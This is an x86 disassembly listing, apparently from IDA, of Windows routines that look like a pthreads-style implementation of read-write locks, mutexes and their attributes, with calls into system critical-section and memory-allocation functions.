; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431A20 proc near ; CODE XREF: sub_401B0Ej
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401122
sub_431A20 endp
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_431A3F
loc_431A32: ; CODE XREF: ___:00431A3Dj
push esi
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_431A32
loc_431A3F: ; CODE XREF: ___:00431A30j
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431A60: ; CODE XREF: ___:00401DDEj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431A80 proc near ; CODE XREF: sub_4012D0j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_431A80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431AC0 proc near ; CODE XREF: sub_401C26j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
nop
call near ptr 2780ABAh
push eax
call near ptr 2740981h
nop
test eax, eax
jz short loc_431B02
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_431AEC: ; CODE XREF: sub_431AC0+33j
test eax, edx
jz short loc_431AF1
inc ecx
loc_431AF1: ; CODE XREF: sub_431AC0+2Ej
shl eax, 1
jnz short loc_431AEC
mov edx, [esp+0Ch+arg_0]
mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_431B02: ; CODE XREF: sub_431AC0+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_431AC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431B30 proc near ; CODE XREF: sub_40184Dj
arg_0 = dword ptr 4
push esi
push offset dword_50E9A0
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_431B64
push esi
push ecx
call sub_401F73
add esp, 8
mov esi, eax
push offset dword_50E9A0
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B64: ; CODE XREF: sub_431B30+17j
test eax, eax
jnz short loc_431B6D
mov esi, 16h
loc_431B6D: ; CODE XREF: sub_431B30+36j
push offset dword_50E9A0
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
sub_431B30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431BA0 proc near ; CODE XREF: sub_401852j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010C3
push esi
call sub_4010C3
add esp, 8
pop esi
retn
sub_431BA0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431BE0 proc near ; CODE XREF: sub_401F73j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_431BF2
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BF2: ; CODE XREF: sub_431BE0+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_431C12
cmp dword ptr [eax], 0
jz short loc_431C12
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431C12: ; CODE XREF: sub_431BE0+1Aj
; sub_431BE0+1Fj
push 1Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431C36
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431C36: ; CODE XREF: sub_431BE0+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_431C94
lea ebx, [esi+4]
push eax
push ebx
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_431C8B
push eax
lea eax, [esi+8]
push eax
call sub_401541
mov edi, eax
add esp, 8
test edi, edi
jz short loc_431CAC
push ebx
call sub_40222F
add esp, 4
loc_431C8B: ; CODE XREF: sub_431BE0+8Dj
push esi
call sub_40222F
add esp, 4
loc_431C94: ; CODE XREF: sub_431BE0+7Aj
push esi
nop
call near ptr 77C2C21Bh
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431CAC: ; CODE XREF: sub_431BE0+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_431BE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431D10: ; CODE XREF: ___:004018ACj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_431E4B
mov esi, [eax]
test esi, esi
jz loc_431E4B
cmp esi, 0FFFFFFFFh
jz loc_431E07
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_431E4B
push esi
call sub_402225
add esp, 4
test eax, eax
jnz loc_431E50
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_431D79
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431D79: ; CODE XREF: ___:00431D67j
mov eax, [esi+10h]
test eax, eax
jg short loc_431DED
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_431DED
push edi
mov dword ptr [esi+18h], 0
call sub_4010C3
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_431DB0
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431DB0: ; CODE XREF: ___:00431D9Fj
call sub_4010C3
add esp, 4
test eax, eax
jnz loc_431E50
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_401A91
push edi
mov ebx, eax
call sub_40222F
push esi
mov edi, eax
call sub_40222F
push esi
mov ebp, eax
call near ptr 77C2C21Bh
nop
add esp, 10h
jmp short loc_431E33
; ---------------------------------------------------------------------------
loc_431DED: ; CODE XREF: ___:00431D7Ej
; ___:00431D88j
push edi
call sub_4010C3
push esi
mov ebx, eax
call sub_4010C3
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_431E33
; ---------------------------------------------------------------------------
loc_431E07: ; CODE XREF: ___:00431D33j
push offset dword_50E9A0
nop
call near ptr 7C901005h
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_431E23
mov dword ptr [eax], 0
jmp short loc_431E28
; ---------------------------------------------------------------------------
loc_431E23: ; CODE XREF: ___:00431E19j
mov ebx, 10h
loc_431E28: ; CODE XREF: ___:00431E21j
push offset dword_50E9A0
nop
call near ptr 7C9010EDh
loc_431E33: ; CODE XREF: ___:00431DEBj
; ___:00431E05j
test ebx, ebx
jz short loc_431E3E
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431E3E: ; CODE XREF: ___:00431E35j
test edi, edi
mov eax, edi
jnz short loc_431E50
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431E4B: ; CODE XREF: ___:00431D20j
; ___:00431D2Aj ...
mov eax, 16h
loc_431E50: ; CODE XREF: ___:00431D51j
; ___:00431DBAj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431EC0: ; CODE XREF: ___:00401E88j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_431EE3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_431EE3: ; CODE XREF: ___:00431ED2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F10: ; CODE XREF: ___:00401794j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_431F31
mov eax, [ecx]
test eax, eax
jz short loc_431F31
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431F31: ; CODE XREF: ___:00431F19j
; ___:00431F1Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F50: ; CODE XREF: ___:00401136j
mov eax, [esp+4]
test eax, eax
jz short loc_431F6D
mov eax, [eax]
test eax, eax
jz short loc_431F6D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_431F6D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431F6D: ; CODE XREF: ___:00431F56j
; ___:00431F5Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F90: ; CODE XREF: ___:0040159Bj
mov eax, [esp+4]
test eax, eax
jz short loc_431FBA
mov ecx, [eax]
test ecx, ecx
jz short loc_431FBA
mov eax, [esp+8]
cmp eax, 1
jz short loc_431FAE
test eax, eax
jnz short loc_431FBA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_431FAE: ; CODE XREF: ___:00431FA5j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_431FBA: ; CODE XREF: ___:00431F96j
; ___:00431F9Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431FD0: ; CODE XREF: ___:00402077j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43208A
mov eax, [esi]
test eax, eax
jz loc_43208A
cmp eax, 0FFFFFFFFh
jnz short loc_432004
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432004
cmp eax, 10h
jnz loc_43208F
loc_432004: ; CODE XREF: ___:00431FECj
; ___:00431FF9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43208A
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43208F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43207D
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_43204D
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43204D: ; CODE XREF: ___:0043203Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43207D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43207D: ; CODE XREF: ___:0043202Aj
; ___:0043206Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43208A: ; CODE XREF: ___:00431FD9j
; ___:00431FE3j ...
mov eax, 16h
loc_43208F: ; CODE XREF: ___:00431FFEj
; ___:0043201Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4320E0: ; CODE XREF: ___:0040169Aj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_4321AF
mov eax, [esi]
test eax, eax
jz loc_4321AF
cmp eax, 0FFFFFFFFh
jnz short loc_432114
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432114
cmp eax, 10h
jnz loc_4321B4
loc_432114: ; CODE XREF: ___:004320FCj
; ___:00432109j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4321AF
mov ebx, [esp+14h]
push ebx
push esi
call sub_401BC2
add esp, 8
test eax, eax
jnz short loc_4321B4
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_4321A2
lea edi, [esi+4]
push ebx
push edi
call sub_401BC2
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_432172
cmp ebx, 274Ch
jnz short loc_432163
inc dword ptr [esi+14h]
loc_432163: ; CODE XREF: ___:0043215Ej
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432172: ; CODE XREF: ___:00432156j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4321A2
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4321A2: ; CODE XREF: ___:00432143j
; ___:00432191j
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4321AF: ; CODE XREF: ___:004320E9j
; ___:004320F3j ...
mov eax, 16h
loc_4321B4: ; CODE XREF: ___:0043210Ej
; ___:00432133j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432200: ; CODE XREF: ___:004015C8j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_4322F6
mov eax, [esi]
test eax, eax
jz loc_4322F6
cmp eax, 0FFFFFFFFh
jnz short loc_432237
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432237
cmp eax, 10h
jnz loc_4322FB
loc_432237: ; CODE XREF: ___:0043221Fj
; ___:0043222Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4322F6
push esi
call sub_402225
add esp, 4
test eax, eax
jnz loc_4322FB
lea ebp, [esi+4]
push ebp
call sub_402225
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43227B
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43227B: ; CODE XREF: ___:00432267j
mov eax, [esi+10h]
test eax, eax
jnz short loc_4322EA
mov eax, [esi+14h]
test eax, eax
jle short loc_432298
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_432298: ; CODE XREF: ___:00432287j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_4322EA
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401852
push eax
call sub_401659
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_4322BB: ; CODE XREF: ___:004322D0j
push ebp
push ebx
call sub_401203
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_4322D2
mov eax, [esi+14h]
test eax, eax
jl short loc_4322BB
loc_4322D2: ; CODE XREF: ___:004322C9j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_4322ED
mov [esi+0Ch], edi
loc_4322EA: ; CODE XREF: ___:00432280j
; ___:0043229Dj
inc dword ptr [esi+10h]
loc_4322ED: ; CODE XREF: ___:004322E5j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4322F6: ; CODE XREF: ___:0043220Cj
; ___:00432216j ...
mov eax, 16h
loc_4322FB: ; CODE XREF: ___:00432231j
; ___:00432251j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432360: ; CODE XREF: ___:00401951j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_432461
mov eax, [esi]
test eax, eax
jz loc_432461
cmp eax, 0FFFFFFFFh
jnz short loc_432397
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432397
cmp eax, 10h
jnz loc_432466
loc_432397: ; CODE XREF: ___:0043237Fj
; ___:0043238Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_432461
mov edi, [esp+20h]
push edi
push esi
call sub_401BC2
add esp, 8
test eax, eax
jnz loc_432466
lea ebp, [esi+4]
push edi
push ebp
call sub_401BC2
mov edi, eax
add esp, 8
test edi, edi
jz short loc_4323E1
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4323E1: ; CODE XREF: ___:004323CDj
mov eax, [esi+10h]
test eax, eax
jnz short loc_432455
mov eax, [esi+14h]
test eax, eax
jle short loc_4323FE
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_4323FE: ; CODE XREF: ___:004323EDj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_432455
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401852
push eax
call sub_401659
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_432421: ; CODE XREF: ___:0043243Bj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011E0
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_43243D
mov eax, [esi+14h]
test eax, eax
jl short loc_432421
loc_43243D: ; CODE XREF: ___:00432434j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_432458
mov [esi+0Ch], edi
loc_432455: ; CODE XREF: ___:004323E6j
; ___:00432403j
inc dword ptr [esi+10h]
loc_432458: ; CODE XREF: ___:00432450j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432461: ; CODE XREF: ___:0043236Cj
; ___:00432376j ...
mov eax, 16h
loc_432466: ; CODE XREF: ___:00432391j
; ___:004323B6j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4324C0: ; CODE XREF: ___:004015BEj
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_432546
mov esi, [eax]
test esi, esi
jz short loc_432546
cmp esi, 0FFFFFFFFh
jnz short loc_4324DC
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4324DC: ; CODE XREF: ___:004324D4j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_432546
mov eax, [esi+10h]
test eax, eax
jnz short loc_432524
lea ebx, [esi+4]
push ebx
call sub_402225
mov edi, eax
add esp, 4
test edi, edi
jz short loc_432502
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432502: ; CODE XREF: ___:004324FCj
mov eax, [esi+14h]
inc eax
mov [esi+14h], eax
jnz short loc_432519
add esi, 8
push esi
call sub_401E51
add esp, 4
mov edi, eax
loc_432519: ; CODE XREF: ___:00432509j
push ebx
call sub_4010C3
add esp, 4
jmp short loc_43253C
; ---------------------------------------------------------------------------
loc_432524: ; CODE XREF: ___:004324EAj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010C3
push esi
mov edi, eax
call sub_4010C3
add esp, 8
loc_43253C: ; CODE XREF: ___:00432522j
test edi, edi
jz short loc_43254B
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432546: ; CODE XREF: ___:004324C9j
; ___:004324CFj ...
mov eax, 16h
loc_43254B: ; CODE XREF: ___:0043253Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432580: ; CODE XREF: ___:00401532j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43263A
mov eax, [esi]
test eax, eax
jz loc_43263A
cmp eax, 0FFFFFFFFh
jnz short loc_4325B4
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_4325B4
cmp eax, 10h
jnz loc_43263F
loc_4325B4: ; CODE XREF: ___:0043259Cj
; ___:004325A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43263A
push esi
call sub_40177B
add esp, 4
test eax, eax
jnz short loc_43263F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43262D
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_4325FD
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4325FD: ; CODE XREF: ___:004325ECj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43262D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43262D: ; CODE XREF: ___:004325DAj
; ___:0043261Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43263A: ; CODE XREF: ___:00432589j
; ___:00432593j ...
mov eax, 16h
loc_43263F: ; CODE XREF: ___:004325AEj
; ___:004325CAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432690: ; CODE XREF: ___:00401FD2j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_432771
mov eax, [esi]
test eax, eax
jz loc_432771
cmp eax, 0FFFFFFFFh
jnz short loc_4326C4
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_4326C4
cmp eax, 10h
jnz loc_432776
loc_4326C4: ; CODE XREF: ___:004326ACj
; ___:004326B9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_432771
push esi
call sub_40177B
add esp, 4
test eax, eax
jnz loc_432776
lea ebx, [esi+4]
push ebx
call sub_40177B
mov edi, eax
add esp, 4
test edi, edi
jz short loc_432709
push esi
call sub_4010C3
add esp, 4
test eax, eax
jnz short loc_432776
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432709: ; CODE XREF: ___:004326F4j
mov eax, [esi+10h]
test eax, eax
jnz short loc_432759
mov eax, [esi+14h]
test eax, eax
jle short loc_432726
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_432726: ; CODE XREF: ___:00432715j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_432764
push ebx
call sub_4010C3
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_43274B
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43274B: ; CODE XREF: ___:0043273Bj
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43275E
loc_432759: ; CODE XREF: ___:0043270Ej
mov edi, 10h
loc_43275E: ; CODE XREF: ___:00432757j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432764: ; CODE XREF: ___:0043272Bj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432771: ; CODE XREF: ___:00432699j
; ___:004326A3j ...
mov eax, 16h
loc_432776: ; CODE XREF: ___:004326BEj
; ___:004326DEj ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4327C0: ; CODE XREF: ___:00401BF9j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_4327D7
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_4327D7: ; CODE XREF: ___:004327CFj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432800: ; CODE XREF: ___:00401E97j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432827
mov eax, [esp+8]
test eax, eax
jz short loc_432827
cmp eax, 2
jbe short loc_432827
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432827: ; CODE XREF: ___:0043280Fj
; ___:00432817j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432840: ; CODE XREF: ___:0040117Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432886
mov edi, [esp+14h]
test edi, edi
jz short loc_432886
mov esi, [edi]
push eax
call sub_40154B
add esp, 4
cmp esi, eax
jl short loc_432886
push 0
call sub_401438
add esp, 4
cmp esi, eax
jg short loc_432886
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432886: ; CODE XREF: ___:00432852j
; ___:0043285Aj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4328B0: ; CODE XREF: ___:00401EDDj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_4328D5
mov eax, [esp+0Ch]
test eax, eax
jz short loc_4328D5
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4328D5: ; CODE XREF: ___:004328C0j
; ___:004328C8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4328F0: ; CODE XREF: ___:004015B4j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_432909
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432909: ; CODE XREF: ___:00432900j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_43291D
cmp eax, 1
jz short loc_43291D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43291D: ; CODE XREF: ___:0043290Fj
; ___:00432914j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432940: ; CODE XREF: ___:004019D8j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432965
mov eax, [esp+0Ch]
test eax, eax
jz short loc_432965
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432965: ; CODE XREF: ___:00432950j
; ___:00432958j
mov eax, 16h
pop esi
retn
